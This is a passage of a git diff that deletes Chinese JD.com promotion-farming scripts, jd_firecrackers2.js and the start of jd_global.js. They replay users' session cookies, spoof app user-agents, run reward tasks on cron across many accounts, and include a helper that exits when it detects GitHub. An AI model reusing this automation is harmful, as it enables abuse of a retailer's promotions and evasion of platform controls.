s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_firecrackers2.js b/activity/jd_firecrackers2.js deleted file mode 100644 index 2220d1e..0000000 --- a/activity/jd_firecrackers2.js +++ /dev/null @@ -1,321 +0,0 @@ -/* -她的节,享京豆 -活动入口: -活动地址:https://linggame.jd.com/babelDiy/Zeus/3Y7JfoyA2Nwoa4FRqgDY4WpVjfgP/index.html -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#她的节享京豆 -10 8,21 * * * jd_firecrackers.js, tag=她的节享京豆, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -================Loon============== -[Script] -cron "10 8,21 * * *" script-path=jd_firecrackers.js,tag=她的节享京豆 - -===============Surge================= -她的节享京豆 = type=cron,cronexp="10 8,21 * * *",wake-system=1,timeout=3600,script-path=jd_firecrackers.js - -============小火箭========= -她的节享京豆 = type=cron,script-path=jd_firecrackers.js, cronexpr="10 8,21 * * *", timeout=3600, enable=true - */ -const $ = new Env('她的节享京豆'); -const notify = $.isNode() ? require('./sendNotify') : ''; -let notifyBean = 15 -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; - -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - $.beans = 0 - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await jdFamily() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function jdFamily() { - $.earn = 0 - await getInfo() - await getUserInfo() - await getUserInfo(true) - await showMsg(); -} - -function showMsg() { - return new Promise(async resolve => { - subTitle = `【京东账号${$.index}】${$.nickName}`; - message += `【鞭炮🧨】本次获得 ${$.earn},共计${$.total}\n` - if ($.total && notifyBean) { - for (let item of $.prize) { - if (notifyBean <= item.beansPerNum) { // 符合预定的京豆档位 - if ($.total >= item.prizerank) { // 当前鞭炮满足兑换 - await draw() - } - } - } - } - $.log(`${$.name}\n\n账号${$.index} - ${$.nickName}\n${subTitle}\n${message}`); - resolve() - }) -} - -function getInfo() { - return new Promise(resolve => { - $.get({ - url: 'https://linggame.jd.com/babelDiy/Zeus/3Y7JfoyA2Nwoa4FRqgDY4WpVjfgP/index.html', - headers: { - Cookie: cookie - } - }, async (err, resp, data) => { - try { - $.info = JSON.parse(data.match(/var snsConfig = (.*)/)[1]) - $.prize = JSON.parse($.info.prize) - } catch (e) { - console.log(e) - } finally { - resolve() - } - }) - }) -} - -function getUserInfo(info = false) { - return new Promise(resolve => { - $.get(taskUrl('family_query'), async (err, resp, data) => { - try { - if (err) { - console.log(`${err},${jsonParse(resp.body)['message']}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - $.userInfo = JSON.parse(data.match(/query\((.*)\n/)[1]) - if (info) { - $.earn = $.userInfo.tatalprofits - $.total - } else { - for (let task of $.info.config.tasks) { - let vo = $.userInfo.tasklist.filter(vo => vo.taskid === task['_id']) - if (vo.length > 0) { - vo = vo[0] - if (vo['isdo'] === 1) { - if (vo['times'] === 0) { - console.log(`去做任务${task['_id']}`) - let res = await doTask(task['_id']) - if (!res) { // 黑号,不再继续执行任务 - break; - } - await $.wait(3000) - } else { - console.log(`${Math.trunc(vo['times'] / 60)}分钟可后做任务${task['_id']}`) - } - } - } - } - } - $.total = $.userInfo.tatalprofits - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function doTask(taskId) { - let body = `taskid=${taskId}` - return new Promise(resolve => { - $.get(taskUrl('family_task', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${err},${jsonParse(resp.body)['message']}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - let res = data.match(/query\((.*)\n/)[1]; - data = JSON.parse(res); - if (data.ret === 0) { - console.log(`任务完成成功`) - } else if (data.ret === 1001) { - console.log(`任务完成失败,原因:这个账号黑号了!!!`) - resolve(false); - return; - } else { - console.log(`任务完成失败,原因未知`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function draw() { - let body = `level=1&type=2` - return new Promise(resolve => { - $.get(taskUrl('family_draw', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${err},${jsonParse(resp.body)['message']}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.match(/query\((.*)\n/)[1]) - if (data.ret === 0) { - message += '领奖成功\n' - console.log(`领奖成功`) - } else { - console.log(`领奖失败`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function taskUrl(function_id, body = '') { - body = `activeid=${$.info.activeId}&token=${$.info.actToken}&sceneval=2&shareid=&_=${new Date().getTime()}&callback=query&${body}` - return { - url: `https://wq.jd.com/activep3/family/${function_id}?${body}`, - headers: { - 'Host': 'wq.jd.com', - 'Accept': 'application/json', - 'Accept-Language': 'zh-cn', - 'Content-Type': 'application/json;charset=utf-8', - 'Origin': 'wq.jd.com', - 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', - 'Referer': `https://anmp.jd.com/babelDiy/Zeus/xKACpgVjVJM7zPKbd5AGCij5yV9/index.html?wxAppName=jd`, - 'Cookie': cookie - } - } -} - -function taskPostUrl(function_id, body) { - return { - url: `https://lzdz-isv.isvjcloud.com/${function_id}`, - body: body, - headers: { - 'Host': 'lzdz-isv.isvjcloud.com', - 'Accept': 'application/json', - 'Accept-Language': 'zh-cn', - 'Content-Type': 'application/x-www-form-urlencoded', - 'Origin': 'https://lzdz-isv.isvjcloud.com', - 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', - 'Referer': `https://lzdz-isv.isvjcloud.com/dingzhi/book/develop/activity?activityId=${ACT_ID}`, - 'Cookie': `${cookie} isvToken=${$.isvToken};` - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_global.js b/activity/jd_global.js deleted file mode 100644 index 4839a0b..0000000 --- a/activity/jd_global.js +++ /dev/null @@ -1,494 +0,0 @@ -/* -环球挑战赛 -活动时间:2021-03-08 至 2021-03-31 -多个账号会相互互助 -活动地址:https://gmart.jd.com/?appId=54935130mart.jd.com/?appId=54935130 -活动入口:京东app搜索京东国际-环球挑战赛 -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#环球挑战赛 -0 9,12,20,21 8-31 3 * jd_global.js, tag=环球挑战赛, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -================Loon============== -[Script] -cron "0 9,12,20,21 8-31 3 *" script-path=jd_global.js,tag=环球挑战赛 - -===============Surge================= -环球挑战赛 = type=cron,cronexp="0 9,12,20,21 8-31 3 *",wake-system=1,timeout=3600,script-path=jd_global.js - -============小火箭========= -环球挑战赛 = type=cron,script-path=jd_global.js, cronexpr="0 9,12,20,21 8-31 3 *", timeout=3600, enable=true - */ -const $ = new Env('环球挑战赛'); -!function(n){"use strict";function r(n,r){var t=(65535&n)+(65535&r);return(n>>16)+(r>>16)+(t>>16)<<16|65535&t}function t(n,r){return n<>>32-r}function u(n,u,e,o,c,f){return r(t(r(r(u,n),r(o,f)),c),e)}function e(n,r,t,e,o,c,f){return u(r&t|~r&e,n,r,o,c,f)}function o(n,r,t,e,o,c,f){return u(r&e|t&~e,n,r,o,c,f)}function c(n,r,t,e,o,c,f){return u(r^t^e,n,r,o,c,f)}function f(n,r,t,e,o,c,f){return u(t^(r|~e),n,r,o,c,f)}function i(n,t){n[t>>5]|=128<>>9<<4)]=t;var u,i,a,h,g,l=1732584193,d=-271733879,v=-1732584194,C=271733878;for(u=0;u>5]>>>r%32&255);return t}function h(n){var r,t=[];for(t[(n.length>>2)-1]=void 0,r=0;r>5]|=(255&n.charCodeAt(r/8))<16&&(e=i(e,8*n.length)),t=0;t<16;t+=1)o[t]=909522486^e[t],c[t]=1549556828^e[t];return u=i(o.concat(h(r)),512+8*r.length),a(i(c.concat(u),640))}function d(n){var r,t,u="";for(t=0;t>>4&15)+"0123456789abcdef".charAt(15&r);return u}function v(n){return unescape(encodeURIComponent(n))}function C(n){return g(v(n))}function A(n){return d(C(n))}function m(n,r){return l(v(n),v(r))}function s(n,r){return d(m(n,r))}function b(n,r,t){return r?t?m(r,n):s(r,n):t?C(n):A(n)}$.md5=b}(); - -const notify = $.isNode() ? require('../sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -const randomCount = $.isNode() ? 20 : 5; -//IOS等用户直接用NobyDa的jd cookie - -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -const JD_API_HOST = 'https://api.m.jd.com/', actCode = 'visa-card-001'; -const inviteCodes = [ - 